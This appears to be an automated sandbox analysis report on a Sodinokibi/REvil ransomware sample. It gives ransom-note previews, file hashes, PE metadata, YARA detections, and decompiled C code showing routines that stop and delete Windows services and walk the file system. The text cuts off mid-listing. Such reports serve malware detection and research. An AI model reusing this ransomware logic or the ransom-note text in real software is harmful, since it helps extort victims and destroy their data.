          Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .p.c.i.8.j.8.o.u.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
          C:\Users\Default\pci8j8oug-readme.txt
          Process:C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exe
          File Type:data
          Category:dropped
          Size (bytes):6932
          Entropy (8bit):3.8744534800924155
          Encrypted:false
          SSDEEP:96:GLYiNsg1xU3TPCPivPC57bH8KnghZVcNzeR4M5q7eLoHVxfd9PrR5u:GLYz3jCPivPKsiNiRhw7yGDnDW
          MD5:FC139A95BA91D93C8563BEDD75C07E03
          SHA1:3A0DF2C16C4D35BA64BEF4B56A1D0A2B6B532B3E
          SHA-256:322553A3A5A708ADA95C46DFC66A277AD47FFDE24E9A12779429F9E2D9757685
          SHA-512:38BCF0320AD2F93E4FBADB1AFDBDE5DCC014FC332182D58E5D0534E705B78CF442BC8429A565A2B87E53494CA224A4BC75E1DF7358900EC41F117D22DA837320
          Malicious:false
          Reputation:low
          Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .p.c.i.8.j.8.o.u.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
          C:\Users\pci8j8oug-readme.txt
          Process:C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exe
          File Type:data
          Category:dropped
          Size (bytes):6932
          Entropy (8bit):3.8744534800924155
          Encrypted:false
          SSDEEP:96:GLYiNsg1xU3TPCPivPC57bH8KnghZVcNzeR4M5q7eLoHVxfd9PrR5u:GLYz3jCPivPKsiNiRhw7yGDnDW
          MD5:FC139A95BA91D93C8563BEDD75C07E03
          SHA1:3A0DF2C16C4D35BA64BEF4B56A1D0A2B6B532B3E
          SHA-256:322553A3A5A708ADA95C46DFC66A277AD47FFDE24E9A12779429F9E2D9757685
          SHA-512:38BCF0320AD2F93E4FBADB1AFDBDE5DCC014FC332182D58E5D0534E705B78CF442BC8429A565A2B87E53494CA224A4BC75E1DF7358900EC41F117D22DA837320
          Malicious:false
          Reputation:low
          Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .p.c.i.8.j.8.o.u.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
          C:\pci8j8oug-readme.txt
          Process:C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exe
          File Type:data
          Category:dropped
          Size (bytes):6932
          Entropy (8bit):3.8744534800924155
          Encrypted:false
          SSDEEP:96:GLYiNsg1xU3TPCPivPC57bH8KnghZVcNzeR4M5q7eLoHVxfd9PrR5u:GLYz3jCPivPKsiNiRhw7yGDnDW
          MD5:FC139A95BA91D93C8563BEDD75C07E03
          SHA1:3A0DF2C16C4D35BA64BEF4B56A1D0A2B6B532B3E
          SHA-256:322553A3A5A708ADA95C46DFC66A277AD47FFDE24E9A12779429F9E2D9757685
          SHA-512:38BCF0320AD2F93E4FBADB1AFDBDE5DCC014FC332182D58E5D0534E705B78CF442BC8429A565A2B87E53494CA224A4BC75E1DF7358900EC41F117D22DA837320
          Malicious:true
          Reputation:low
          Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .p.c.i.8.j.8.o.u.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.

          Static File Info

          General

          File type:PE32 executable (GUI) Intel 80386, for MS Windows
          Entropy (8bit):6.596427193830997
          TrID:
          • Win32 Executable (generic) a (10002005/4) 99.96%
          • Generic Win/DOS Executable (2004/3) 0.02%
          • DOS Executable Generic (2002/1) 0.02%
          • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
          File name:46a40ec6_by_Libranalysis.exe
          File size:123904
          MD5:46a40ec6d39b7530830f3047cdebaa1b
          SHA1:a1540914b5ceb9e772ee5898e777f48e3cd57010
          SHA256:08c2d24cb9c632f9aa84254bb673c9df04d4ac23ee07e840794e9438b06e9bd2
          SHA512:64d3bd219e939100612242a35d36db8636a18eb962ce174284359178b6abb29c957bb1a0083015b948ff17c30e01ddd46c12824a83d0698b03372effeae0aa12
          SSDEEP:1536:vjVXKif7kaCtHM7qpo6ZQDtFnNi+ti09or2LkLpLik8ICS4Ao3uZskecjrzgPujd:J1MZwlLk9Bm3uWqgu6M1njIXi1
          File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............l...l...l...2...l...2...l...2...l..&....l..&....l...l...l..&....l..l2...l..l2...l..Rich.l..................PE..L.....u`...

          File Icon

          Icon Hash:00828e8e8686b000

          Static PE Info

          General

          Entrypoint:0x40464e
          Entrypoint Section:.text
          Digitally signed:false
          Imagebase:0x400000
          Subsystem:windows gui
          Image File Characteristics:32BIT_MACHINE, EXECUTABLE_IMAGE
          DLL Characteristics:TERMINAL_SERVER_AWARE, DYNAMIC_BASE
          Time Stamp:0x6075F6D4 [Tue Apr 13 19:53:56 2021 UTC]
          TLS Callbacks:
          CLR (.Net) Version:
          OS Version Major:5
          OS Version Minor:1
          File Version Major:5
          File Version Minor:1
          Subsystem Version Major:5
          Subsystem Version Minor:1
          Import Hash:1773b678052e6f869c847b76b50752a9

          Entrypoint Preview

          Instruction
          push 00000000h
          call 00007F3268858423h
          push 00000000h
          call 00007F3268859110h
          pop ecx
          ret
          push ebp
          mov ebp, esp
          sub esp, 000003F8h
          push ebx
          push esi
          push edi
          call 00007F3268859672h
          mov ebx, eax
          call 00007F326885974Ch
          mov ecx, 00000600h
          cmp ax, cx
          push 00000043h
          sbb esi, esi
          neg esi
          call dword ptr [00411624h]
          test eax, eax
          jne 00007F3268858791h
          lea eax, dword ptr [ebp-08h]
          mov dword ptr [ebp-08h], 00000104h
          push eax
          lea eax, dword ptr [ebp-000003F8h]
          push eax
          call dword ptr [00411550h]
          test eax, eax
          jne 00007F32688584D9h
          xor eax, eax
          jmp 00007F3268858770h
          lea eax, dword ptr [ebp-000003F8h]
          push 0040D1D0h
          push eax
          call 00007F326885B543h
          pop ecx
          pop ecx
          test eax, eax
          je 00007F32688584B4h
          lea eax, dword ptr [ebp-000001ECh]
          mov edi, 00410278h
          push eax
          push 0000006Ah
          push 00000010h
          push 00000304h
          push edi
          call 00007F3268859FEBh
          xor eax, eax
          mov word ptr [ebp-00000182h], ax
          lea eax, dword ptr [ebp-0000011Ch]
          push eax
          push 0000001Eh
          push 0000000Bh
          push 00000F16h
          push edi
          call 00007F3268859FCCh
          xor eax, eax
          mov word ptr [ebp-000000FEh], ax
          lea eax, dword ptr [ebp-000000FCh]

          Rich Headers

          Programming Language:
          • [LNK] VS2015 UPD3.1 build 24215
          • [ C ] VS2015 UPD3.1 build 24215

          Data Directories

          NameVirtual AddressVirtual Size Is in Section
          IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
          IMAGE_DIRECTORY_ENTRY_IMPORT0xfd380x50.rdata
          IMAGE_DIRECTORY_ENTRY_RESOURCE0x00x0
          IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
          IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
          IMAGE_DIRECTORY_ENTRY_BASERELOC0x200000x72c.reloc
          IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
          IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
          IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
          IMAGE_DIRECTORY_ENTRY_TLS0x00x0
          IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
          IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
          IMAGE_DIRECTORY_ENTRY_IAT0xd0000x40.rdata
          IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
          IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
          IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

          Sections

          NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
          .text0x10000xbf440xc000False0.573872884115data6.54129206672IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
          .rdata0xd0000x2e780x3000False0.657796223958data7.68819915934IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
          .data0x100000x24e00x2000False0.91162109375data7.60329643419IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
          .xl7f0x130000xc8000xc800False0.57015625data5.50202210724IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
          .reloc0x200000x72c0x800False0.80224609375data6.36294881666IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

          Imports

          DLLImport
          KERNEL32.dlllstrcmpiW, lstrlenW, Sleep, VerSetConditionMask, CloseHandle, VerifyVersionInfoW, lstrcmpA, SetThreadPriority
          USER32.dllMessageBoxW
          OLEAUT32.dllSysAllocString, SysFreeString, VariantInit, VariantClear

          Network Behavior

          No network behavior found

          Code Manipulations

          Statistics

          CPU Usage

          Click to jump to process

          Memory Usage

          Click to jump to process

          High Level Behavior Distribution

          Click to dive into process behavior distribution

          Behavior

          Click to jump to process

          System Behavior

          General

          Start time:20:11:45
          Start date:28/04/2021
          Path:C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exe
          Wow64 process (32bit):true
          Commandline:'C:\Users\user\Desktop\46a40ec6_by_Libranalysis.exe'
          Imagebase:0x1360000
          File size:123904 bytes
          MD5 hash:46A40EC6D39B7530830F3047CDEBAA1B
          Has elevated privileges:true
          Has administrator privileges:true
          Programmed in:C, C++ or other language
          Yara matches:
          • Rule: JoeSecurity_Sodinokibi, Description: Yara detected Sodinokibi Ransomware, Source: 00000001.00000003.812950203.00000000030F8000.00000004.00000040.sdmp, Author: Joe Security
          • Rule: JoeSecurity_Sodinokibi, Description: Yara detected Sodinokibi Ransomware, Source: 00000001.00000003.646855790.00000000030F8000.00000004.00000040.sdmp, Author: Joe Security
          • Rule: MAL_RANSOM_REvil_Oct20_1, Description: Detects REvil ransomware, Source: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Author: Florian Roth
          • Rule: JoeSecurity_Sodinokibi, Description: Yara detected Sodinokibi Ransomware, Source: 00000001.00000003.647040724.00000000030F8000.00000004.00000040.sdmp, Author: Joe Security
          • Rule: MAL_RANSOM_REvil_Oct20_1, Description: Detects REvil ransomware, Source: 00000001.00000000.646522087.0000000001361000.00000020.00020000.sdmp, Author: Florian Roth
          • Rule: JoeSecurity_Sodinokibi, Description: Yara detected Sodinokibi Ransomware, Source: 00000001.00000003.646938772.00000000030F8000.00000004.00000040.sdmp, Author: Joe Security
          • Rule: JoeSecurity_Sodinokibi, Description: Yara detected Sodinokibi Ransomware, Source: 00000001.00000003.646977922.00000000030F8000.00000004.00000040.sdmp, Author: Joe Security
          • Rule: JoeSecurity_Sodinokibi, Description: Yara detected Sodinokibi Ransomware, Source: 00000001.00000003.647095256.00000000030F8000.00000004.00000040.sdmp, Author: Joe Security
          • Rule: JoeSecurity_Sodinokibi, Description: Yara detected Sodinokibi Ransomware, Source: 00000001.00000003.646900362.00000000030F8000.00000004.00000040.sdmp, Author: Joe Security
          • Rule: JoeSecurity_Sodinokibi, Description: Yara detected Sodinokibi Ransomware, Source: 00000001.00000003.647011219.00000000030F8000.00000004.00000040.sdmp, Author: Joe Security
          • Rule: JoeSecurity_Sodinokibi, Description: Yara detected Sodinokibi Ransomware, Source: 00000001.00000003.647076289.00000000030F8000.00000004.00000040.sdmp, Author: Joe Security
          Reputation:low

          General

          Start time:20:13:04
          Start date:28/04/2021
          Path:C:\Windows\System32\wbem\unsecapp.exe
          Wow64 process (32bit):false
          Commandline:C:\Windows\system32\wbem\unsecapp.exe -Embedding
          Imagebase:0x7ff604ef0000
          File size:48640 bytes
          MD5 hash:9CBD3EC8D9E4F8CE54258B0573C66BEB
          Has elevated privileges:true
          Has administrator privileges:true
          Programmed in:C, C++ or other language
          Reputation:moderate

          Disassembly

          Code Analysis

          Reset < >

            Executed Functions

            C-Code - Quality: 34%
            			E01363FC9() {
            				char _v8;
            				char _v12;
            				struct _SERVICE_STATUS _v16;
            				short** _v20;
            				void* _v24;
            				void _v48;
            				struct _SERVICE_STATUS _v52;
            				void* _t23;
            				struct _SERVICE_STATUS _t32;
            				struct _SERVICE_STATUS _t35;
            				void* _t36;
            				int _t40;
            				void* _t47;
            				signed int _t50;
            				void* _t52;
            				short** _t54;
            				void* _t58;
            				struct _SERVICE_STATUS _t59;
            				void* _t61;
            
            				_t59 = 0;
            				_t23 = OpenSCManagerW(0, L"ServicesActive", 4); // executed
            				_t47 = _t23;
            				if(_t47 != 0) {
            					_push(0);
            					_push(0);
            					_v8 = 0;
            					_push( &_v12);
            					_v12 = 0;
            					_push( &_v8);
            					_push(0);
            					_push(0);
            					_push(1);
            					_push(0x30);
            					_push(0);
            					_push(_t47);
            					if( *0x13716fc() == 0 || RtlGetLastWin32Error() == 0xea) {
            						_t54 = E01364F5C(_v8);
            						_v20 = _t54;
            						if(_t54 != 0) {
            							_push(_t59);
            							_push(_t59);
            							_push( &_v12);
            							_push( &_v8);
            							_push(_v8);
            							_push(_t54);
            							_push(1);
            							_push(0x30);
            							_push(_t59);
            							_push(_t47);
            							if( *0x13716fc() == 0) {
            								L19:
            								CloseServiceHandle(_t47);
            								_t32 = _t59;
            								L20:
            								return _t32;
            							}
            							_v16 = _t59;
            							if(_v12 <= _t59) {
            								L18:
            								_t59 = 1;
            								goto L19;
            							} else {
            								goto L9;
            							}
            							do {
            								L9:
            								if(E013630C0( *_t54) == 0) {
            									goto L14;
            								}
            								_t36 = OpenServiceW(_t47,  *_t54, 0x10020); // executed
            								_t52 = _t36;
            								_v24 = _t52;
            								if(_t52 == 0) {
            									goto L18;
            								}
            								_t50 = 6;
            								_v52 = _t59;
            								memset( &_v48, 0, _t50 << 2);
            								_t61 = _t61 + 0xc;
            								_t40 = ControlService(_t52, 1,  &_v52);
            								_t58 = _v24;
            								_push(_t58);
            								if(_t40 == 0) {
            									L17:
            									CloseServiceHandle();
            									goto L18;
            								}
            								if(DeleteService() == 0) {
            									_push(_t58);
            									goto L17;
            								}
            								_t54 = _v20;
            								L14:
            								_t54 =  &(_t54[0xb]);
            								_t35 = _v16 + 1;
            								_v20 = _t54;
            								_v16 = _t35;
            							} while (_t35 < _v12);
            							goto L18;
            						}
            						CloseServiceHandle(_t47);
            						_t32 = 0;
            						goto L20;
            					} else {
            						CloseServiceHandle(_t47);
            						goto L1;
            					}
            				}
            				L1:
            				return 0;
            			}






















            0x01363fd8
            0x01363fdb
            0x01363fe1
            0x01363fe5
            0x01363fee
            0x01363fef
            0x01363ff3
            0x01363ff6
            0x01363ffa
            0x01363ffd
            0x01363ffe
            0x01363fff
            0x01364000
            0x01364002
            0x01364004
            0x01364005
            0x0136400e
            0x0136402e
            0x01364030
            0x01364036
            0x01364046
            0x01364047
            0x0136404b
            0x0136404f
            0x01364050
            0x01364053
            0x01364054
            0x01364056
            0x01364058
            0x01364059
            0x01364062
            0x013640dc
            0x013640dd
            0x013640e3
            0x013640e5
            0x00000000
            0x013640e5
            0x01364064
            0x0136406a
            0x013640d9
            0x013640db
            0x00000000
            0x00000000
            0x00000000
            0x00000000
            0x0136406c
            0x0136406c
            0x01364076
            0x00000000
            0x00000000
            0x01364080
            0x01364086
            0x01364088
            0x0136408d
            0x00000000
            0x00000000
            0x01364091
            0x01364094
            0x0136409a
            0x0136409a
            0x013640a3
            0x013640a9
            0x013640ac
            0x013640af
            0x013640d3
            0x013640d3
            0x00000000
            0x013640d3
            0x013640b9
            0x013640d2
            0x00000000
            0x013640d2
            0x013640bb
            0x013640be
            0x013640c1
            0x013640c4
            0x013640c5
            0x013640c8
            0x013640cb
            0x00000000
            0x013640d0
            0x01364039
            0x0136403f
            0x00000000
            0x0136401c
            0x0136401d
            0x00000000
            0x0136401d
            0x0136400e
            0x01363fe7
            0x00000000

            APIs
            • OpenSCManagerW.ADVAPI32(00000000,ServicesActive,00000004), ref: 01363FDB
            • EnumServicesStatusExW.ADVAPI32(00000000,00000000,00000030,00000001,00000000,00000000,?,?,00000000,00000000), ref: 01364006
            • RtlGetLastWin32Error.NTDLL ref: 01364010
            • CloseServiceHandle.ADVAPI32(00000000), ref: 0136401D
              • Part of subcall function 01364F5C: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,01361548), ref: 01364F71
              • Part of subcall function 01364F5C: GetProcessHeap.KERNEL32(?,01361548), ref: 01364F80
            • CloseServiceHandle.ADVAPI32(00000000,00000000), ref: 01364039
            • EnumServicesStatusExW.ADVAPI32(00000000,00000000,00000030,00000001,00000000,?,?,?,00000000,00000000,00000000), ref: 0136405A
            • OpenServiceW.ADVAPI32(00000000,00000000,00010020), ref: 01364080
            • ControlService.ADVAPI32(00000000,00000001,?), ref: 013640A3
            • DeleteService.ADVAPI32(?), ref: 013640B1
            • CloseServiceHandle.ADVAPI32(00000000), ref: 013640DD
            Strings
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: Service$CloseHandle$EnumHeapOpenServicesStatus$ControlCreateDeleteErrorLastManagerProcessWin32
            • String ID: ServicesActive
            • API String ID: 2778422472-3071072050
            • Opcode ID: ac2a55cb888035dbca63db9847ce846b0ecce39ee29a449415458f4a6251701d
            • Instruction ID: 2d07ff789bb91bddcf7ddb42dd98cc1b44f909e1bf9c84ac94e11efc85681905
            • Opcode Fuzzy Hash: ac2a55cb888035dbca63db9847ce846b0ecce39ee29a449415458f4a6251701d
            • Instruction Fuzzy Hash: 10316376E00229FBDB309FA59C48E9FBFBDEF49764F148415F905E2148D6708514CBA4
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 79%
            			E01367DA1(WCHAR* _a4, int _a8) {
            				signed int _v8;
            				intOrPtr* _v12;
            				signed int _v16;
            				signed int _v20;
            				signed int _v24;
            				intOrPtr _v28;
            				struct _WIN32_FIND_DATAW _v620;
            				int _t66;
            				signed int _t68;
            				void* _t70;
            				signed int _t73;
            				int _t75;
            				signed int _t77;
            				intOrPtr _t82;
            				signed int _t84;
            				void* _t86;
            				signed int _t89;
            				void* _t93;
            				signed int _t98;
            				signed int _t99;
            				intOrPtr* _t103;
            				void* _t104;
            				signed int _t112;
            				int _t119;
            				signed int* _t120;
            				WCHAR* _t121;
            				intOrPtr* _t122;
            				intOrPtr* _t123;
            				intOrPtr* _t124;
            
            				_t121 = _a4;
            				_t120 = _a8;
            				_t103 = 0;
            				_v8 = 0;
            				_v12 = 0;
            				_v20 = 0;
            				_v16 = 0;
            				_t120[1](_t121, 0);
            				if(0 == 0) {
            					goto L24;
            				} else {
            					E0136807B( &_v20, _t121);
            					_t66 = _t120[0xa](_t120[3], _t121, 0);
            					_t124 = _t124 + 0x14;
            					_t120[6] = _t120[6] + _t66;
            					asm("adc [edi+0x1c], edx");
            					L23:
            					_t103 = _v12;
            					L24:
            					while( *_t120 == 0) {
            						_t66 = _v20 | _v16;
            						__eflags = _t66;
            						if(_t66 != 0) {
            							E013665C2(_t121,  *_t103);
            							_t123 = _t103;
            							_t103 =  *((intOrPtr*)(_t103 + 4));
            							_v12 = _t103;
            							E01364FA9( *_t123);
            							E01364FA9(_t123);
            							_t124 = _t124 + 0x10;
            							_t112 = _v16;
            							_t98 = _v20 + 0xffffffff;
            							_v20 = _t98;
            							asm("adc ecx, 0xffffffff");
            							_t99 = _t98 | _t112;
            							__eflags = _t99;
            							_v16 = _t112;
            							if(_t99 == 0) {
            								_t21 =  &_v8;
            								 *_t21 = _v8 & _t99;
            								__eflags =  *_t21;
            							}
            							_t121 = _a4;
            							_t66 = 1;
            							__eflags = 1;
            						}
            						__eflags = _t66;
            						if(_t66 == 0) {
            							L27:
            							while(_t103 != 0) {
            								_t122 = _t103;
            								_t103 =  *((intOrPtr*)(_t103 + 4));
            								E01364FA9( *_t122);
            								_t66 = E01364FA9(_t122);
            							}
            							return _t66;
            						}
            						_t68 = E0136666B(_t121);
            						 *_t124 = 0x136d410;
            						_push(_t121);
            						_v24 = _t68;
            						E013664E0(__eflags);
            						_t70 = E013658ED();
            						__eflags = _t70 - 0x601;
            						if(_t70 < 0x601) {
            							_t66 = FindFirstFileW(_t121,  &_v620);
            						} else {
            							_t66 = FindFirstFileExW(_t121, 1,  &_v620, 0, 0, 2); // executed
            						}
            						_a8 = _t66;
            						__eflags = _t66 - 0xffffffff;
            						if(_t66 == 0xffffffff) {
            							continue;
            						} else {
            							_t104 = _t66;
            							while(1) {
            								_t73 = E01366561( &(_v620.cFileName), ".");
            								__eflags = _t73;
            								if(_t73 != 0) {
            									_t77 = E01366561( &(_v620.cFileName), 0x136d408);
            									__eflags = _t77;
            									if(_t77 != 0) {
            										__eflags = _v620.dwFileAttributes & 0x00000400;
            										if((_v620.dwFileAttributes & 0x00000400) == 0) {
            											E013665C2( &(_t121[_v24]),  &(_v620.cFileName));
            											__eflags = _v620.dwFileAttributes & 0x00000010;
            											if(__eflags == 0) {
            												_t119 = _v620.nFileSizeHigh;
            												_t82 = _v620.nFileSizeLow;
            												_v28 = _t82;
            												_a8 = _t119;
            												_t84 = _t120[2](_t121,  &(_v620.cFileName), _t82, _t119);
            												_t124 = _t124 + 0x10;
            												__eflags = _t84;
            												if(_t84 != 0) {
            													_t86 = _t120[0xb](_t120[4], _t121,  &(_v620.cFileName), _v28, _a8);
            													_t124 = _t124 + 0x14;
            													_t120[8] = _t120[8] + _t86;
            													asm("adc [edi+0x24], edx");
            												}
            											} else {
            												E013664E0(__eflags, _t121, 0x136d414);
            												_t89 = _t120[1](_t121,  &(_v620.cFileName));
            												_t124 = _t124 + 0x10;
            												__eflags = _t89;
            												if(_t89 != 0) {
            													E0136807B( &_v20, _t121);
            													_t93 = _t120[0xa](_t120[3], _t121,  &(_v620.cFileName));
            													_t124 = _t124 + 0x14;
            													_t120[6] = _t120[6] + _t93;
            													asm("adc [edi+0x1c], edx");
            												}
            											}
            										}
            									}
            								}
            								__eflags =  *_t120;
            								if( *_t120 != 0) {
            									break;
            								}
            								_t75 = FindNextFileW(_t104,  &_v620); // executed
            								__eflags = _t75;
            								if(_t75 != 0) {
            									continue;
            								}
            								break;
            							}
            							_t66 = FindClose(_t104); // executed
            							goto L23;
            						}
            					}
            					goto L27;
            				}
            			}
































            0x01367dac
            0x01367db2
            0x01367db5
            0x01367db9
            0x01367dbc
            0x01367dbf
            0x01367dc2
            0x01367dc5
            0x01367dcc
            0x00000000
            0x01367dd2
            0x01367dd7
            0x01367de1
            0x01367de4
            0x01367de7
            0x01367dea
            0x01367f9f
            0x01367f9f
            0x00000000
            0x01367fa2
            0x01367df5
            0x01367df5
            0x01367df8
            0x01367dfd
            0x01367e02
            0x01367e04
            0x01367e07
            0x01367e0c
            0x01367e12
            0x01367e1a
            0x01367e1d
            0x01367e20
